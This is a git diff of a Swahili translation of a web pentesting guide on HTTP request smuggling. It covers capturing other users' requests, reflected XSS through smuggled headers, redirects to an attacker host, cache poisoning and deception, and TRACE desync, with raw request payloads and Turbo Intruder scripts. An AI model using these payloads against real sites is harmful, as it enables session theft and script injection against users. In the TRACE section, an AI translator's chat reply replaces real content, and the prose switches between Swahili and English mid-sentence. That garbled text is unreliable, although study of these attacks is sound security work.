-Programu mara nyingi hutumia **seva ya mbele** kubadilisha maombi yanayoingia kabla ya kuyapeleka kwa seva ya nyuma. Marekebisho ya kawaida yanajumuisha kuongeza vichwa, kama vile `X-Forwarded-For: <IP ya mteja>`, ili kupeleka IP ya mteja kwa seva ya nyuma. Kuelewa marekebisho haya kunaweza kuwa muhimu, kwani kunaweza kufichua njia za **kuepuka ulinzi** au **kufichua taarifa au maeneo yaliyofichwa**.
+Maombi mara nyingi hutumia **front-end server** kubadilisha maombi yanayoingia kabla ya kuyapeleka kwa back-end server. Marekebisho ya kawaida ni kuongeza headers, kama `X-Forwarded-For: <IP of the client>`, ili kuwasilisha IP ya mteja kwa back-end. Kuelewa marekebisho haya kunaweza kuwa muhimu, kwani yanaweza kufichua njia za **bypass protections** au **uncover concealed information or endpoints**.
 
-Ili kuchunguza jinsi proxy inavyobadilisha ombi, pata parameter ya POST ambayo seva ya nyuma inarudisha katika jibu. Kisha, tengeneza ombi, ukitumia parameter hii mwisho, kama ifuatavyo:
+Ili kuchunguza jinsi proxy inavyobadilisha ombi, tafuta parameter ya POST ambayo back-end inarudia katika jibu. Kisha, tengeneza ombi, ukitumia parameter hii mwisho, sawa na ifuatavyo:
 ```
 POST / HTTP/1.1
 Host: vulnerable-website.com
@@ -449,19 +451,19 @@ Content-Length: 100
 
 search=
 ```
-Katika muundo huu, vipengele vya ombi vinavyofuata vinajumuishwa baada ya `search=`, ambayo ni parameter inayojitokeza katika jibu. Hii itafichua vichwa vya ombi vya baadaye.
+Katika muundo huu, sehemu za baadaye za request zinaambatishwa baada ya `search=`, ambayo ni parameter inayorudishwa katika response. Uonyeshaji huu utafunua headers za request iliyofuata.
 
-Ni muhimu kulinganisha kichwa cha `Content-Length` cha ombi lililo ndani na urefu halisi wa maudhui. Kuanzia na thamani ndogo na kuongezeka taratibu ni bora, kwani thamani ya chini sana itakata data iliyojitokeza, wakati thamani ya juu sana inaweza kusababisha ombi kufeli.
+Ni muhimu kulinganisha header ya `Content-Length` ya nested request na urefu halisi wa content. Ni vema kuanza na thamani ndogo na kuiongeza hatua kwa hatua, kwani thamani iliyokuwa ndogo sana itakata data iliyorudishwa, wakati thamani kubwa sana inaweza kusababisha request kupata error.
 
-Tekniki hii pia inatumika katika muktadha wa udhaifu wa TE.CL, lakini ombi linapaswa kumalizika na `search=\r\n0`. Bila kujali wahusika wa newline, thamani zitajumuishwa kwenye parameter ya utafutaji.
+Mbinu hii pia inafaa katika muktadha wa TE.CL vulnerability, lakini request inapaswa kumalizika na `search=\r\n0`. Bila kujali newline characters, values zitaongezwa kwenye parameter ya search.
 
-Njia hii hasa inatumika kuelewa mabadiliko ya ombi yaliyofanywa na proxy ya mbele, kimsingi ikifanya uchunguzi wa kujielekeza.
+Mbinu hii hasa hutumika kuelewa mabadiliko ya request yaliyofanywa na front-end proxy — kwa ujumla, kufanya uchunguzi wa kibinafsi.
 
-### Kukamata maombi ya watumiaji wengine <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
+### Kupata maombi ya watumiaji wengine <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
 
-Ni rahisi kukamata maombi ya mtumiaji anayefuata kwa kuongeza ombi maalum kama thamani ya parameter wakati wa operesheni ya POST. Hapa kuna jinsi hii inaweza kufanywa:
+Inawezekana kukamata requests za mtumiaji anayefuata kwa kuambatisha request maalum kama value ya parameter wakati wa POST. Hapa kuna jinsi hii inaweza kufanywa:
 
-Kwa kuongeza ombi lifuatalo kama thamani ya parameter, unaweza kuhifadhi ombi la mteja anayefuata:
+Kwa kuambatisha request ifuatayo kama value ya parameter, unaweza kuhifadhi request ya mteja anayefuata:
 ```
 POST / HTTP/1.1
 Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
@@ -481,20 +483,20 @@ Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
 
 csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
 ```
-Katika hali hii, **parameta ya maoni** inakusudia kuhifadhi maudhui ndani ya sehemu ya maoni ya chapisho kwenye ukurasa unaopatikana kwa umma. Kwa hivyo, maudhui ya ombi linalofuata yataonekana kama maoni.
+Katika tukio hili, the **comment parameter** imekusudiwa kuhifadhi yaliyomo ndani ya sehemu ya maoni ya post kwenye ukurasa unaopatikana kwa umma. Kwa hiyo, yaliyomo ya ombi linalofuata yataonekana kama maoni.
 
-Hata hivyo, mbinu hii ina mipaka. Kwa ujumla, inakamata data tu hadi kwenye kipimo cha parameta kilichotumika katika ombi lililosafirishwa. Kwa uwasilishaji wa fomu iliyo na URL-encoded, kipimo hiki ni herufi `&`. Hii ina maana kwamba maudhui yaliyokamatwa kutoka kwa ombi la mtumiaji waathirika yatakoma kwenye `&` ya kwanza, ambayo inaweza hata kuwa sehemu ya mfuatano wa swali.
+Hata hivyo, mbinu hii ina mipaka. Kwa ujumla, inakamata data hadi delimiter ya parameter inayotumika katika smuggled request. Kwa uwasilishaji wa fomu zilizotumwa kwa URL-encoding, delimiter hii ni tabia ya `&`. Hii inamaanisha yaliyokamatwa kutoka kwa ombi la mtumiaji-mhusika yatakoma kwenye `&` ya kwanza, ambayo inaweza hata kuwa sehemu ya query string.
 
-Zaidi ya hayo, inafaa kutaja kwamba mbinu hii pia inafaa na udhaifu wa TE.CL. Katika hali kama hizo, ombi linapaswa kumalizika na `search=\r\n0`. Bila kujali wahusika wa mstari mpya, thamani zitajumuishwa kwenye parameta ya utafutaji.
+Zaidi ya hayo, inafaa kutambua kwamba njia hii pia inawezekana kwa TE.CL vulnerability. Katika kesi kama hizo, ombi linapaswa kumalizika kwa `search=\r\n0`. Bila kujali newline characters, values zitaongezwa kwenye parameter ya search.
 
-### Kutumia HTTP request smuggling kutekeleza XSS iliyorejelewa
+### Kutumia HTTP Request Smuggling ku-exploit Reflected XSS
 
-HTTP Request Smuggling inaweza kutumika kutekeleza kurasa za wavuti zilizo hatarini kwa **Reflected XSS**, ikitoa faida kubwa:
+HTTP Request Smuggling inaweza kutumika ku-exploit kurasa za wavuti zilizo hatarini kwa **Reflected XSS**, na kutoa faida zifuatazo:
 
-- Maingiliano na watumiaji wa lengo **hayahitajiki**.
-- Inaruhusu kutekeleza XSS katika sehemu za ombi ambazo **kwa kawaida hazipatikani**, kama vichwa vya ombi la HTTP.
+- Ushawishi na watumiaji wa lengo **hauhitajiki**.
+- Inaruhusu ku-exploit XSS katika sehemu za ombi ambazo **kwa kawaida hazipatikani**, kama HTTP request headers.
 
-Katika hali ambapo tovuti inakabiliwa na Reflected XSS kupitia kichwa cha User-Agent, mzigo ufuatao unaonyesha jinsi ya kutumia udhaifu huu:
+Katika matukio ambapo tovuti ina hatari ya Reflected XSS kupitia header ya User-Agent, the following payload inaonyesha jinsi ya ku-exploit vulnerability hii:
 ```
 POST / HTTP/1.1
 Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
@@ -515,36 +517,36 @@ Content-Type: application/x-www-form-urlencoded
 
 A=
 ```
-Hii payload imeundwa ili kutumia udhaifu kwa:
+This payload imepangwa kunufaisha udhaifu kwa:
 
-1. Kuanzisha ombi la `POST`, ambalo linaonekana kuwa la kawaida, lenye kichwa cha `Transfer-Encoding: chunked` kuashiria mwanzo wa smuggling.
-2. Kufuatia na `0`, ikionyesha mwisho wa ujumbe wa chunked.
-3. Kisha, ombi la smuggled `GET` linaanzishwa, ambapo kichwa cha `User-Agent` kinajumuishwa na script, `<script>alert(1)</script>`, ikichochea XSS wakati seva inashughulikia ombi hili linalofuata.
+1. Kuanza na `POST` request, inaonekana ya kawaida, yenye header ya `Transfer-Encoding: chunked` kuashiria mwanzo wa smuggling.
+2. Kufuatia na `0`, ikionyesha mwisho wa chunked message body.
+3. Kisha, smuggled `GET` request inaingizwa, ambapo header ya `User-Agent` imeingizwa na script, `<script>alert(1)</script>`, inayoanzisha XSS wakati server inaposhughulikia request iliyofuata.
 
-Kwa kubadilisha `User-Agent` kupitia smuggling, payload inakwepa vikwazo vya kawaida vya ombi, hivyo kutumia udhaifu wa Reflected XSS kwa njia isiyo ya kawaida lakini yenye ufanisi.
+Kwa kudanganya `User-Agent` kupitia smuggling, payload inapita vizingiti vya kawaida vya request, na hivyo kunufaisha Reflected XSS kwa njia isiyo ya kawaida lakini yenye ufanisi.
 
 #### HTTP/0.9
 
 > [!CAUTION]
-> Ikiwa maudhui ya mtumiaji yanarejelewa katika jibu lenye **`Content-type`** kama **`text/plain`**, kuzuia utekelezaji wa XSS. Ikiwa seva inasaidia **HTTP/0.9 inaweza kuwa inawezekana kupita hii**!
+> Ikiwa maudhui ya mtumiaji yanarudishwa kwenye response yenye **`Content-type`** kama **`text/plain`**, jambo hilo linaweza kuzuia utekelezaji wa XSS. Ikiwa server inasaidia **HTTP/0.9**, inaweza kuwa inawezekana kupitisha hili!
 
-Toleo la HTTP/0.9 lilikuwa kabla ya 1.0 na linatumia tu vitenzi vya **GET** na **halijibu** kwa **headers**, bali tu mwili.
+Toleo la HTTP/0.9 lilikuwa kabla ya 1.0 na linatumia tu vitenzi vya **GET** na halijibu na **headers**, bali tu body.
 
-Katika [**hii andiko**](https://mizu.re/post/twisty-python), hii ilitumiwa vibaya na smuggling ya ombi na **nukta ya hatari ambayo itajibu na maudhui ya mtumiaji** ili smuggle ombi na HTTP/0.9. Kigezo ambacho kitarejelewa katika jibu kilikuwa na **jibu la uwongo la HTTP/1.1 (pamoja na headers na mwili)** hivyo jibu litakuwa na msimbo wa JS unaoweza kutekelezwa wenye `Content-Type` wa `text/html`.
+Katika [**this writeup**](https://mizu.re/post/twisty-python), hili lilitumiwa kwa request smuggling na **vulnerable endpoint ambayo itajibu na input ya mtumiaji** ili ku-smuggle request kwa HTTP/0.9. Parameter ambayo itarudishwa kwenye response ilijumuisha **fake HTTP/1.1 response (with headers and body)** hivyo response itakuwa na JS ambayo inaweza kutekelezwa ikiwa yana `Content-Type` ya `text/html`.
 
-### Kutumia Mwelekeo wa Kwenye Tovuti kwa HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
+### Exploiting On-site Redirects with HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
 
-Programu mara nyingi hupeleka kutoka URL moja hadi nyingine kwa kutumia jina la mwenyeji kutoka kichwa cha `Host` katika URL ya mwelekeo. Hii ni ya kawaida na seva za wavuti kama Apache na IIS. Kwa mfano, kuomba folda bila slash ya mwisho kunasababisha mwelekeo kuingiza slash:
+Applications mara nyingi zinafanya redirect kutoka URL moja kwenda nyingine kwa kutumia hostname kutoka kwa `Host` header katika redirect URL. Hii ni kawaida kwenye web servers kama Apache na IIS. Kwa mfano, kuomba folder bila trailing slash husababisha redirect ili kuongeza slash:
 ```
 GET /home HTTP/1.1
 Host: normal-website.com
 ```
-Matokeo katika:
+Matokeo ni:
 ```
 HTTP/1.1 301 Moved Permanently
 Location: https://normal-website.com/home/
 ```
-Ingawa inaonekana haina madhara, tabia hii inaweza kudhibitiwa kwa kutumia HTTP request smuggling ili kuwahamisha watumiaji kwenye tovuti ya nje. Kwa mfano:
+Ingawa kwa kuonekana haina hatari, tabia hii inaweza kutumiwa kwa kutumia HTTP request smuggling ili kuwaelekeza watumiaji kwenye tovuti ya nje. Kwa mfano:
 ```
 POST / HTTP/1.1
 Host: vulnerable-website.com
@@ -558,29 +560,29 @@ GET /home HTTP/1.1
 Host: attacker-website.com
 Foo: X
 ```
-Ombi hili lililofichwa linaweza kusababisha ombi la mtumiaji linalofuatia kushughulikiwa kuhamasishwa kwa tovuti inayodhibitiwa na mshambuliaji:
+Ombi hili la smuggled request linaweza kusababisha ombi la mtumiaji linalofanyiwa usindikaji lifuatalo kuelekezwa kwenye tovuti inayodhibitiwa na mshambuliaji:
 ```
 GET /home HTTP/1.1
 Host: attacker-website.com
 Foo: XGET /scripts/include.js HTTP/1.1
 Host: vulnerable-website.com
 ```
-Matokeo katika:
+Matokeo:
 ```
 HTTP/1.1 301 Moved Permanently
 Location: https://attacker-website.com/home/
 ```
-Katika hali hii, ombi la mtumiaji la faili la JavaScript linachukuliwa. Mshambuliaji anaweza kuathiri mtumiaji kwa kutoa JavaScript mbaya kama jibu.
+Katika tukio hili, ombi la mtumiaji la faili ya JavaScript linachukuliwa. Mshambuliaji anaweza kumdhibiti mtumiaji kwa kumtumia JavaScript yenye madhara kama jibu.
 
-### Kutumia Upoison wa Kivinjari cha Mtandao kupitia HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
+### Exploiting Web Cache Poisoning via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
 
-Upoison wa kivinjari cha mtandao unaweza kutekelezwa ikiwa sehemu yoyote ya **miundombinu ya mbele inahifadhi maudhui**, kawaida ili kuboresha utendaji. Kwa kubadilisha jibu la seva, inawezekana **kuponya kivinjari**.
+Web cache poisoning inaweza kufanywa ikiwa sehemu yoyote ya **front-end infrastructure caches content**, kawaida ili kuboresha utendaji. Kwa kudanganya majibu ya seva, inawezekana **poison the cache**.
 
-Awali, tuliona jinsi majibu ya seva yanaweza kubadilishwa ili kurudisha kosa la 404 (rejelea [Mifano ya Msingi](#basic-examples)). Vivyo hivyo, inawezekana kudanganya seva ili kutoa maudhui ya `/index.html` kama jibu la ombi la `/static/include.js`. Kwa hivyo, maudhui ya `/static/include.js` yanabadilishwa katika kivinjari na yale ya `/index.html`, na kufanya `/static/include.js` isiweze kupatikana kwa watumiaji, ambayo inaweza kusababisha Denial of Service (DoS).
+Tangulia, tuliangazia jinsi majibu ya seva yalivyoweza kubadilishwa ili kurudisha hitilafu ya 404 (refer to [Basic Examples](#basic-examples)). Vivyo hivyo, inawezekana kudanganya seva ili itume maudhui ya `/index.html` kama jibu kwa ombi la `/static/include.js`. Kwa matokeo, maudhui ya `/static/include.js` yanabadilishwa kwenye cache na yale ya `/index.html`, na hivyo kufanya `/static/include.js` isipatikane kwa watumiaji, ambayo inaweza kusababisha Denial of Service (DoS).
 
-Teknolojia hii inakuwa na nguvu hasa ikiwa **udhaifu wa Open Redirect** unapatikana au ikiwa kuna **mwelekeo wa ndani kwa mwelekeo wazi**. Udukuzi kama huu unaweza kutumika kubadilisha maudhui yaliyohifadhiwa ya `/static/include.js` na script chini ya udhibiti wa mshambuliaji, hivyo kuwezesha shambulio la Cross-Site Scripting (XSS) dhidi ya wateja wote wanaotafuta `/static/include.js` iliyosasishwa.
+Teknika hii inakuwa hatari hasa ikiwa **Open Redirect vulnerability** itagunduliwa au ikiwa kuna **on-site redirect to an open redirect**. Udhaifu kama huo unaweza kutumika kubadilisha maudhui yaliyohifadhiwa kwenye cache ya `/static/include.js` na script chini ya udhibiti wa mshambuliaji, kwa kweli kuruhusu mashambulizi ya Cross-Site Scripting (XSS) kwa wateja wote wanaoomba `/static/include.js` iliyosasishwa.
 
-Hapa kuna mfano wa kutumia **upoison wa kivinjari pamoja na mwelekeo wa ndani kwa mwelekeo wazi**. Lengo ni kubadilisha maudhui ya kivinjari ya `/static/include.js` ili kutoa msimbo wa JavaScript unaodhibitiwa na mshambuliaji:
+Chini ni mwonekano wa jinsi ya kutumia **cache poisoning combined with an on-site redirect to open redirect**. Lengo ni kubadilisha maudhui yaliyomo kwenye cache ya `/static/include.js` ili kutoa code ya JavaScript inayodhibitiwa na mshambuliaji:
 ```
 POST / HTTP/1.1
 Host: vulnerable.net
@@ -598,20 +600,20 @@ Content-Length: 10
 
 x=1
 ```
-Note the embedded request targeting `/post/next?postId=3`. This request will be redirected to `/post?postId=4`, utilizing the **Host header value** to determine the domain. By altering the **Host header**, the attacker can redirect the request to their domain (**on-site redirect to open redirect**).
+Zingatia embedded request inayolenga `/post/next?postId=3`. This request itaelekezwa tena kwenda `/post?postId=4`, ikitumia **Host header value** kubaini domain. Kwa kubadilisha **Host header**, mshambuliaji anaweza kuiredirect request kwenda domain yao (**on-site redirect to open redirect**).
 
-After successful **socket poisoning**, a **GET request** for `/static/include.js` should be initiated. This request will be contaminated by the prior **on-site redirect to open redirect** request and fetch the content of the script controlled by the attacker.
+Baada ya mafanikio ya **socket poisoning**, **GET request** kwa `/static/include.js` inapaswa kuanzishwa. This request itachafuliwa na request ya awali ya **on-site redirect to open redirect** na itachukua maudhui ya script inayodhibitiwa na mshambuliaji.
 
-Subsequently, any request for `/static/include.js` will serve the cached content of the attacker's script, effectively launching a broad XSS attack.
+Baadaye, any request kwa `/static/include.js` itatoa maudhui yaliyohifadhiwa kwenye cache ya script ya mshambuliaji, kwa ufanisi kuzindua shambulio la **XSS** pana.
 
-### Using HTTP request smuggling to perform web cache deception <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
+### Kutumia HTTP request smuggling kutekeleza web cache deception <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
 
-> **Nini tofauti kati ya web cache poisoning na web cache deception?**
+> **Je, ni tofauti gani kati ya web cache poisoning na web cache deception?**
 >
-> - Katika **web cache poisoning**, mshambuliaji anasababisha programu kuhifadhi maudhui mabaya katika cache, na maudhui haya yanatolewa kutoka kwenye cache kwa watumiaji wengine wa programu.
-> - Katika **web cache deception**, mshambuliaji anasababisha programu kuhifadhi maudhui nyeti yanayomilikiwa na mtumiaji mwingine katika cache, na mshambuliaji kisha anapata maudhui haya kutoka kwenye cache.
+> - Katika **web cache poisoning**, mshambuliaji husababisha application kuhifadhi baadhi ya maudhui mabaya kwenye cache, na maudhui haya hutolewa kutoka kwenye cache kwa watumiaji wengine wa application.
+> - Katika **web cache deception**, mshambuliaji husababisha application kuhifadhi baadhi ya maudhui nyeti ya mtumiaji mwingine kwenye cache, na kisha mshambuliaji huzipata maudhui haya kutoka kwenye cache.
 
-The attacker crafts a smuggled request that fetches sensitive user-specific content. Consider the following example:
+Mshambuliaji anatengeneza smuggled request inayopata maudhui nyeti ya mtumiaji fulani. Consider the following example:
 ```markdown
 `POST / HTTP/1.1`\
 `Host: vulnerable-website.com`\
@@ -622,17 +624,17 @@ The attacker crafts a smuggled request that fetches sensitive user-specific cont
 `GET /private/messages HTTP/1.1`\
 `Foo: X`
 ```
-Ikiwa ombi hili lililofichwa linachafua kipengee cha cache kilichokusudiwa kwa maudhui ya statiki (kwa mfano, `/someimage.png`), data nyeti za mwathirika kutoka `/private/messages` zinaweza kuhifadhiwa chini ya kipengee cha cache cha maudhui ya statiki. Kwa hivyo, mshambuliaji anaweza kupata data hizi nyeti zilizohifadhiwa.
+Iki ombi lililofichwa likipotia sumu kipengee cha cache kilichokusudiwa kwa maudhui ya static (mfano, `/someimage.png`), data nyeti za mwathirika kutoka `/private/messages` zinaweza kuhifadhiwa chini ya kipengee hicho cha cache cha maudhui ya static. Kwa hivyo, mshambuliaji anaweza kupata data hizi nyeti zilizohifadhiwa kwenye cache.
 
-### Kutumia TRACE kupitia HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
+### Kutumia vibaya TRACE kupitia HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
 
-[**Katika chapisho hili**](https://portswigger.net/research/trace-desync-attack) inapendekezwa kwamba ikiwa seva ina njia ya TRACE iliyoanzishwa inaweza kuwa inawezekana kuitumia vibaya na HTTP Request Smuggling. Hii ni kwa sababu njia hii itarejesha kichwa chochote kilichotumwa kwa seva kama sehemu ya mwili wa jibu. Kwa mfano:
+[**In this post**](https://portswigger.net/research/trace-desync-attack) inapendekeza kwamba ikiwa server imewezeshwa method TRACE, inaweza kuwa inawezekana kuitumia vibaya kwa HTTP Request Smuggling. Hii ni kwa sababu method hii itarudisha header yoyote iliyotumwa kwa server kama sehemu ya body ya response. Kwa mfano:
 ```
 TRACE / HTTP/1.1
 Host: example.com
 XSS: <script>alert("TRACE")</script>
 ```
-I'm ready to assist you with the translation. Please provide the text you would like me to translate to Swahili.
+Tafadhali nitumie maudhui ya README.md unayotaka nitafsiri. Nitatafsiri maandishi ya Kiingereza muhimu kwa Kiswahili na kuhifadhi syntax ya markdown/html, code, links, refs na tags bila kubadilisha. Tuma yaliyomo hapa.
 ```
 HTTP/1.1 200 OK
 Content-Type: message/http
@@ -643,17 +645,17 @@ Host: vulnerable.com
 XSS: <script>alert("TRACE")</script>
 X-Forwarded-For: xxx.xxx.xxx.xxx
 ```
-Mfano wa jinsi ya kutumia tabia hii ungekuwa **kuficha kwanza ombi la HEAD**. Ombi hili litajibiwa kwa **vichwa** vya ombi la GET (**`Content-Type`** miongoni mwao). Na kuficha **moja kwa moja baada ya HEAD ombi la TRACE**, ambalo litakuwa **linarejelea data iliyotumwa**.\
-Kwa kuwa jibu la HEAD litakuwa na kichwa cha `Content-Length`, **jibu la ombi la TRACE litachukuliwa kama mwili wa jibu la HEAD, hivyo kuonyesha data isiyo na mipaka** katika jibu.\
-Jibu hili litatumwa kwa ombi linalofuata kupitia muunganisho, hivyo hili linaweza **kutumika katika faili ya JS iliyohifadhiwa kwa mfano kuingiza msimbo wa JS usio na mipaka**.
+Mfano wa jinsi ya kutumia vibaya tabia hii ni **smuggle first a HEAD request**. Request hii itajibiwa kwa tu na **headers** za GET request (**`Content-Type`** miongoni mwa hizo). Na smuggle **immediately after the HEAD a TRACE request**, ambayo itarudisha data iliyotumwa.\
+Kwa kuwa HEAD response itakuwa na header ya `Content-Length`, **response ya TRACE request itachukuliwa kama body ya HEAD response, hivyo ikirudisha data yoyote** katika response.\
+Hii response itatumwa kwa request inayofuata juu ya connection, hivyo inaweza **kutumika katika cached JS file kwa mfano kuingiza JS code chochote**.
 
-### Kutumia TRACE kupitia HTTP Response Splitting <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
+### Kutumia vibaya TRACE kupitia HTTP Response Splitting <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
 
-Endelea kufuata [**hiki chapisho**](https://portswigger.net/research/trace-desync-attack) kinapendekeza njia nyingine ya kutumia mbinu ya TRACE. Kama ilivyotajwa, kuficha ombi la HEAD na ombi la TRACE inawezekana **kudhibiti baadhi ya data inayorejelewa** katika jibu la ombi la HEAD. Urefu wa mwili wa ombi la HEAD kimsingi unatajwa katika kichwa cha Content-Length na unaundwa na jibu la ombi la TRACE.
+Kuendelea kufuata [**this post**](https://portswigger.net/research/trace-desync-attack) kunapendekezwa kama njia nyingine ya kutumia vibaya TRACE method. Kama ilivyoelezwa, kwa smuggling a HEAD request na a TRACE request inawezekana **kudhibiti baadhi ya reflected data** katika response ya HEAD request. Urefu wa body ya HEAD request unaashiriwa katika header ya `Content-Length` na unaundwa na response ya TRACE request.
 
-Kwa hivyo, wazo jipya lingeweza kuwa, kujua Content-Length hii na data iliyotolewa katika jibu la TRACE, inawezekana kufanya jibu la TRACE liwe na jibu halali la HTTP baada ya byte ya mwisho ya Content-Length, ikiruhusu mshambuliaji kudhibiti kabisa ombi kwa jibu linalofuata (ambalo linaweza kutumika kufanya uchafuzi wa cache).
+Hivyo, wazo jipya ni kwamba, ukijua Content-Length hii na data iliyo katika TRACE response, inawezekana kufanya TRACE response ije na valid HTTP response baada ya byte ya mwisho ya Content-Length, ikimuruhusu mshambuliaji kudhibiti kabisa request kwa response inayofuata (ambayo inaweza kutumika kufanya cache poisoning).
 
-Mfano:
+Example:
 ```
 GET / HTTP/1.1
 Host: example.com
@@ -672,7 +674,7 @@ Content-Length: 44\r\n
 \r\n
 <script>alert("response splitting")</script>
 ```
-Itazalisha majibu haya (angalia jinsi jibu la HEAD lina Content-Length ikifanya jibu la TRACE kuwa sehemu ya mwili wa HEAD na mara tu Content-Length ya HEAD inapoisha, jibu halali la HTTP linapaswa kuingizwa):
+Itatengeneza majibu haya (tazama jinsi jibu la HEAD lina Content-Length linalofanya jibu la TRACE kuwa sehemu ya mwili wa HEAD na mara Content-Length ya HEAD inapomaliza jibu halali la HTTP linafichwa):
 ```
 HTTP/1.1 200 OK
 Content-Type: text/html
@@ -693,9 +695,9 @@ Content-Length: 50
 
 <script>alert(“arbitrary response”)</script>
 ```
-### Kuandaa HTTP Request Smuggling kwa Kutumia HTTP Response Desynchronisation
+### Kuweka kama silaha HTTP Request Smuggling kwa kutumia HTTP Response Desynchronisation
 
-Je, umepata udhaifu wa HTTP Request Smuggling na hujui jinsi ya kuutumia. Jaribu njia hizi nyingine za kutumia:
+Je, umepata udhaifu wa HTTP Request Smuggling na haujui jinsi ya ku-exploit? Jaribu njia hizi nyingine za exploitation:
 
 
 {{#ref}}
@@ -704,14 +706,14 @@ Je, umepata udhaifu wa HTTP Request Smuggling na hujui jinsi ya kuutumia. Jaribu
 
 ### Mbinu Nyingine za HTTP Request Smuggling
 
-- Browser HTTP Request Smuggling (Upande wa Mteja)
+- Browser HTTP Request Smuggling (Client Side)
 
 
 {{#ref}}
 browser-http-request-smuggling.md
 {{#endref}}
 
-- Request Smuggling katika HTTP/2 Downgrades
+- Request Smuggling in HTTP/2 Downgrades
 
 
 {{#ref}}
@@ -763,7 +765,7 @@ table.add(req)
 ```
 ### TE.CL
 
-From: [https://hipotermia.pw/bb/http-desync-account-takeover](https://hipotermia.pw/bb/http-desync-account-takeover)
+Kutoka: [https://hipotermia.pw/bb/http-desync-account-takeover](https://hipotermia.pw/bb/http-desync-account-takeover)
 ```python
 def queueRequests(target, wordlists):
 engine = RequestEngine(endpoint=target.endpoint,
@@ -805,18 +807,18 @@ time.sleep(0.05)
 def handleResponse(req, interesting):
 table.add(req)
 ```
-## Tools
+## Zana
 
-- HTTP Hacker (Burp BApp Store) – onyesha muunganiko/uundaji na tabia ya chini ya HTTP
+- HTTP Hacker (Burp BApp Store) – onyesha kuunganisha/uframu na tabia ya HTTP ya ngazi ya chini
 - https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Burp Repeater Custom Action "Smuggling or pipelining?"
 - [https://github.com/anshumanpattnaik/http-request-smuggling](https://github.com/anshumanpattnaik/http-request-smuggling)
 - [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler)
 - [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
 - [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
 - [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz)
-- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Chombo hiki ni Fuzzer ya HTTP inayotegemea sarufi inayofaa kutafuta tofauti za ajabu za uundaji wa ombi.
+- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Zana hii ni grammar-based HTTP Fuzzer inayotumika kugundua utofauti usio wa kawaida wa request smuggling.
 
-## References
+## Marejeleo
 
 - [https://portswigger.net/web-security/request-smuggling](https://portswigger.net/web-security/request-smuggling)
 - [https://portswigger.net/web-security/request-smuggling/finding](https://portswigger.net/web-security/request-smuggling/finding)
@@ -827,10 +829,10 @@ table.add(req)
 - [https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/)
 - [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack)
 - [https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
-- Jihadharini na false false‑positive: jinsi ya kutofautisha HTTP pipelining kutoka kwa uundaji wa ombi – [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling)
+- Tahadhari kuhusu false false‑positive: jinsi ya kutofautisha HTTP pipelining na request smuggling – [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling)
 - [https://http1mustdie.com/](https://http1mustdie.com/)
 - Browser‑Powered Desync Attacks – [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)
-- PortSwigger Academy – desync upande wa mteja – [https://portswigger.net/web-security/request-smuggling/browser/client-side-desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync)
+- PortSwigger Academy – client‑side desync – [https://portswigger.net/web-security/request-smuggling/browser/client-side-desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync)
 
 
 {{#include ../../banners/hacktricks-training.md}}

src/pentesting-web/proxy-waf-protections-bypass.md

@@ -1,13 +1,13 @@
-# Proxy / WAF Protections Bypass
+# Kuvuka Ulinzi wa Proxy / WAF
 
 {{#include ../banners/hacktricks-training.md}}
 
 
-## Bypass Nginx ACL Rules with Pathname Manipulation <a href="#heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules" id="heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules"></a>
